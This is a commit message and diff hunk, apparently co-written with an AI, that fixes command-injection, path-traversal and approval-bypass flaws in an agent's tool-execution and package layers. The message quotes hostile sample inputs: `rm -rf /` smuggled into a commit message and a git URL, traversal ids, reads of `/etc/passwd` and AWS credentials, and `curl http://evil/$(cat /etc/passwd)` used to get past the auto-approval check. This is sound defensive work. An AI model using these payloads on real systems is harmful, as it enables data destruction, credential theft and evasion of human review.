Fix command injection, path traversal, and approval bypass in tool/market layer

A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.

Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
  A message like `foo" && rm -rf / #` injected arbitrary commands, and the
  approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
  `$(curl ...)` was executed. Now shlex-quoted.

Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
  manifest) was used directly as a directory name under prompts/market and
  passed to mkdir(parents=True) / shutil.rmtree. An id like
  `../../projects/<victim>` enabled arbitrary file write and arbitrary
  directory deletion. Added _market_prompts_dir() which validates the id
  (lowercase alphanumeric + -/_) and confirms the resolved path stays inside
  the market base; uninstall validates up front. Prompt-content filenames are
  also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
  report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
  read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
  were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
  role id/name) flowed unchecked into the path, enabling traversal writes.
  Now reduced to a safe path component with a containment check.

Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
  auto-approved as LOW risk even when it contained shell command substitution.
  `curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
  human/LLM review, letting bash exfil data. Added
  _command_has_shell_substitution() and gated safe-prefix matching on it.

Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
  the `-Command` flag from PowerShell argv (4 elements), silently breaking
  every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
  JSON array) were silently replaced with `{}` while arguments_parse_error
  stayed None, so the tool executed with empty args (todo_write could wipe the
  task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
  store.initialize() (via _sweep_stale_claims), so a single corrupt row
  prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
  `.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
  None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
  outbound dispatch loop and silently stopped all message delivery on every
  channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
  `data.get` raise AttributeError and drop the whole WS connection. Non-dict
  frames are now ignored.

Co-Authored-By: Claude <noreply@anthropic.com>

opc/layer3_agent/runtime_v2/runtime.py

@@ -1575,6 +1575,20 @@ class NativeRuntimeV2:
                 except json.JSONDecodeError as exc:
                     parsed_arguments = raw_arguments
                     parse_error = f"Invalid tool arguments JSON for `{item.get('function', '')}`: {exc}"
+            # Valid JSON that is not an object (e.g. ``[...]`` or ``"x"``) must surface as a
+            # parse error too. Otherwise downstream code sees an empty ``arguments`` dict and
+            # a falsy ``arguments_parse_error``, executing the tool with no arguments (which
+            # can silently wipe state, e.g. todo_write receiving an empty list). Keep the more
+            # specific JSONDecodeError message when parsing itself failed.
+            if (
+                raw_arguments.strip()
+                and parse_error is None
+                and not isinstance(parsed_arguments, dict)
+            ):
+                parse_error = (
+                    f"Tool arguments for `{item.get('function', '')}` must be a JSON object; "
+                    f"got {type(parsed_arguments).__name__}."
+                )
             finalized.append({
                 "id": item.get("id") or f"tool_{index}",
                 "function": item.get("function") or "",